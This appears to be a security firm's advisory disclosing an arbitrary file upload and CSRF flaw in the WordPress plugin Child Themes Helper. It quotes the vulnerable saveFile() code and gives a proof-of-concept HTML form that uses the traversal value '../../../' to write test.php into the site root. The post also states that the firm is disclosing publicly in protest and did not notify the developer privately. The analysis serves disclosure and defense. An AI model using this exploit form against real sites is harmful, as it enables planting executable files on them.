Our Proactive Monitoring Caught an Authenticated Arbitrary File Upload Vulnerability in Child Themes Helper
One of the ways we help to improve the security of WordPress plugins, not just for our customers, but for everyone using them, is the proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that we caught an authenticated arbitrary file upload vulnerability in the plugin Child Themes Helper, which is also exploitable through cross-site request forgery (CSRF). That occurs in an AJAX accessible function and it looks like a number of other ones are also insecure and contain vulnerabilities, one of the more serious we will detail in a follow up post.
The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.
The plugin makes the function saveFile() available to those logged in to WordPress:
385 | add_action( 'wp_ajax_saveFile', Array( $pas_cth_AJAXFunctions, "saveFile" ) ); |
That function will create a new file (or overwrite an existing file) with the file name and the contents being specified by user input and those not being restricted in anyway:
1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 | function saveFile() { $inputs = [ 'fileContents' => $_POST['fileContents'], 'directory' => sanitize_text_field( $_POST['directory'] ), 'file' => sanitize_file_name( $_POST['file'] ), 'themeType' => sanitize_text_field( $_POST['themeType'] ), ]; switch ($inputs['themeType']) { case PAS_CTH_CHILDTHEME: $file = $this->activeThemeInfo->childThemeRoot . PAS_CTH_SEPARATOR . $this->activeThemeInfo->childStylesheet . PAS_CTH_SEPARATOR . $inputs['directory'] . PAS_CTH_SEPARATOR . $inputs['file']; break; case PAS_CTH_TEMPLATETHEME: $file = $this->activeThemeInfo->templateThemeRoot . PAS_CTH_SEPARATOR . $this->activeThemeInfo->templateStylesheet . PAS_CTH_SEPARATOR . $inputs['directory'] . PAS_CTH_SEPARATOR . $inputs['file']; break; } $result = file_put_contents($file, stripslashes($_POST['fileContents'])); |
What is missing from that code is a restriction on what users can access that code, protection against CSRF, and probably protection against directory traversal.
Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then only trying to notify the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that since a previously full disclosed vulnerability was quickly on hackers’ radar, but it appears those moderators have such disdain for the rest of the WordPress community that their continued ability to act inappropriate is more important that what is best for the rest of the community.
Proof of Concept
The following proof of concept will cause a file named test.php to be created in the root directory, when logged in to WordPress and when a child theme has been selected in the plugin’s options.
Make sure to replace “[path to WordPress]” with the location of WordPress and “[file contents]” with the contents to be placed in the file.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=saveFile" method="POST"> <input type="hidden" name="themeType" value="child" /> <input type="hidden" name="directory" value="../../../" /> <input type="hidden" name="file" value="test.php" /> <input type="hidden" name="fileContents" value="[file contents]" /> <input type="submit" value="Submit" /> </form> </body> </html>